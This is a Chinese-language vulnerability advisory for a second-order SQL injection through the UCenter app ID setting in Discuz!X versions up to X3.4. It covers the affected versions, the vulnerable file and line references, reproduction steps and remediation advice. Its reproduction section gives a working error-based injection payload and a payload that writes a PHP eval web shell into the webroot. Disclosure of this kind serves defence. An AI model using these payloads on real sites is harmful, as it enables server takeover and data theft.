0x01漏洞描述
Discuz!X全版本存在SQL注入漏洞。漏洞產生的原因是source\admincp\admincp_setting.php在處理$settingnew['uc']['appid']參數時未進行完全過濾,導致出現二次注入。在特定條件下,攻擊者可以利用該漏洞獲取服務器權限。
0x02影響范圍
Discuz! X系列全版本,截止Discuz!X最新的Discuz! X3.4 R20191201版本
0x03漏洞詳情
(1)\source\admincp\admincp_setting.php第2571行,用戶可控參數$settingnew['uc']['appid']替換掉.\config\config_ucenter.php配置文件中的常量UC_APPID的值,並寫入配置文件
(2)\uc_client\model\base.php第206行,UC_APPID直接拼接到SQL語句中
(3)當調用函數時將觸發二次注入
0x04漏洞復現
(1)在站長-UCenter設置下的應用ID中輸入1’
(2)訪問首頁將觸發產生SQL報錯
(3)故可以插入其他測試payload
1' and (updatexml(1,concat(0x7e,(select version()),0x7e),1));-- a
(4)寫馬
1' union select '<?php @eval($_POST[1]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php';-- a
0x05修復建議
(1)后台不使用弱口令
(2)官方暫未發布補丁,關注官方補丁信息